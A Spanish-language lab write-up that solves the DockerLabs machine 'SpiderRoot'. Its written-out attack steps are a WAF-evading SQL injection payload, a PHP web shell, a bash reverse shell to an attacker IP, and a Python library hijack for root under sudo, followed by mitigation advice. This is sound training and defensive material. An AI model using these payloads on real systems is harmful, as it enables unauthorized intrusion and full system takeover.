SpiderRoot
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina SpiderRoot, desarrollada por Grooti16 para la plataforma DockerLabs, clasificada con una dificultad Media.
El objetivo del laboratorio es comprometer un servidor web vulnerable mediante la explotación de una inyección SQL (SQLi) protegida por un WAF mal configurado, la obtención de credenciales válidas para acceso por SSH, el descubrimiento de un panel interno con ejecución remota de comandos, y una posterior escalada de privilegios mediante Python Library Hijacking aprovechando una configuración insegura de sudo.
La metodología empleada se divide en los siguientes pasos:
- Reconocimiento: enumeración de servicios y análisis de la aplicación web.
- Explotación: evasión de WAF y obtención de acceso remoto.
- Escalada de privilegios: abuso de servicios internos y ejecución de scripts privilegiados.
El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | SpiderRoot |
| Autor | Grooti16 |
| Dificultad | Medio |
| Fecha | 12/05/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip SpiderRoot.zipsudo bash auto_deploy.sh SpiderRoot.tar
Se organiza el entorno de trabajo:
mkdir -p SpiderRoot/{content,exploits,nmap,scripts}cd SpiderRootPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza fuzzing de rutas y archivos:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404
Se identifican los siguientes recursos relevantes:
- index.html Página informativa sobre superhéroes.

- pages/multiverse.php Página que presenta un formulario de autenticación aparentemente protegido.
Además, se observa que el parámetro page es utilizado internamente, lo que sugiere un posible punto de entrada para ataques de inyección.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Se intenta inicialmente un bypass básico de SQLi (' OR 1=1-- -), el cual es bloqueado por un Web Application Firewall (WAF):

Al revisar el código fuente del archivo multiverse.php, se identifican comentarios con pistas clave:

Se indica que es necesario utilizar caracteres codificados para evadir el filtrado.

También se sugiere el uso de operadores lógicos (OR, AND).
Con esta información, se construye un payload SQLi URL-encoded, logrando evadir el WAF:
%27%20or%201%3D1%2D%2D%20%2DEl bypass devuelve múltiples credenciales válidas:

Tras probarlas por SSH, se obtiene acceso válido con el usuario peter:
ssh peter@172.17.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De peter → www-data
Sección titulada «3.1 De peter → www-data»Durante la enumeración local se identifican directorios internos (/var/www/internal, /var/www/html) que sugieren la existencia de una aplicación accesible solo desde localhost.
<!DOCTYPE html><html lang="es"><head> <meta charset="UTF-8"> <title>Multiverse Panel Interno</title> <style> ... </style></head><body> <header>Panel Interno del Multiverse</header> <main> <p>Introduce un comando para ejecutar en el sistema:</p> <form method="GET"> <input type="text" name="cmd" placeholder="Escribe un comando..."> <input type="submit" value="Ejecutar"> </form> <div class="output"> <?php if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; echo "<strong>Salida de:</strong> $cmd\n\n"; echo "<pre>"; system($cmd); echo "</pre>"; } else { echo "Aquí aparecerá la salida del comando."; } ?> </div> </main></body></html>Se listan los puertos en escucha:
ss -tulpnSe detecta un servicio web en el puerto 8080. Al revisar su código fuente, se identifica una web shell que ejecuta directamente comandos del sistema a través del parámetro cmd:
system($cmd);Esto permite ejecución remota de comandos como el usuario www-data.
Se establece un listener en el atacante:
nc -nlvp 443Y se ejecuta una reverse shell desde el panel interno:
curl "http://localhost:8080/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/443%200%3E%261%27"
3.2 De www-data → root
Sección titulada «3.2 De www-data → root»Se revisan los permisos sudo:

El usuario puede ejecutar el script /opt/spidy.py como root utilizando Python.
#!/usr/bin/env python3# spidey_run.py - Spider-Man Python Lab
import osimport sysimport jsonimport mathdef web_swing(): print("🕷️ Spider-Man se balancea por la ciudad.") print("Explorando los tejados y vigilando la ciudad...")
def run_tasks(): print("🕸️ Ejecutando tareas del día...") print("Saltos calculados:", math.sqrt(225)) data = {"hero": "Spider-Man", "city": "New York"} print("Registro de datos:", json.dumps(data))
def fight_villains(): villains = ["Green Goblin", "Doctor Octopus", "Venom"] print("Villanos en la ciudad:", ", ".join(villains)) for v in villains: print(f"🕷️ Enfrentando a {v}...")
if __name__ == "__main__": web_swing() run_tasks() fight_villains() print("✅ Spider-Man ha terminado su ronda.")El script importa múltiples librerías estándar (json, math, os), lo que lo hace vulnerable a Python Library Hijacking debido a la prioridad del directorio actual en PYTHONPATH.
Se crea un archivo malicioso json.py:
import osos.system("/bin/bash")Finalmente, se ejecuta el script privilegiado:
sudo python3 /opt/spidy.pyObteniendo acceso como root:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Inyección SQL con evasión de WAF | Crítica | Bypass de autenticación |
| Comentarios con información sensible | Media | Facilita explotación |
| Panel interno con ejecución de comandos | Crítica | Ejecución remota de código |
Configuración insegura de sudo con Python | Crítica | Escalada de privilegios a root |
| Python Library Hijacking | Alta | Ejecución arbitraria como root |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Implementar consultas SQL parametrizadas.
- No confiar únicamente en WAF para prevenir inyecciones.
- Eliminar comentarios sensibles del código fuente.
- Restringir servicios internos y validar entradas de usuario.
- Evitar ejecutar scripts con
sudoque importen librerías sin rutas absolutas. - Auditar periódicamente configuraciones de
sudoy servicios locales.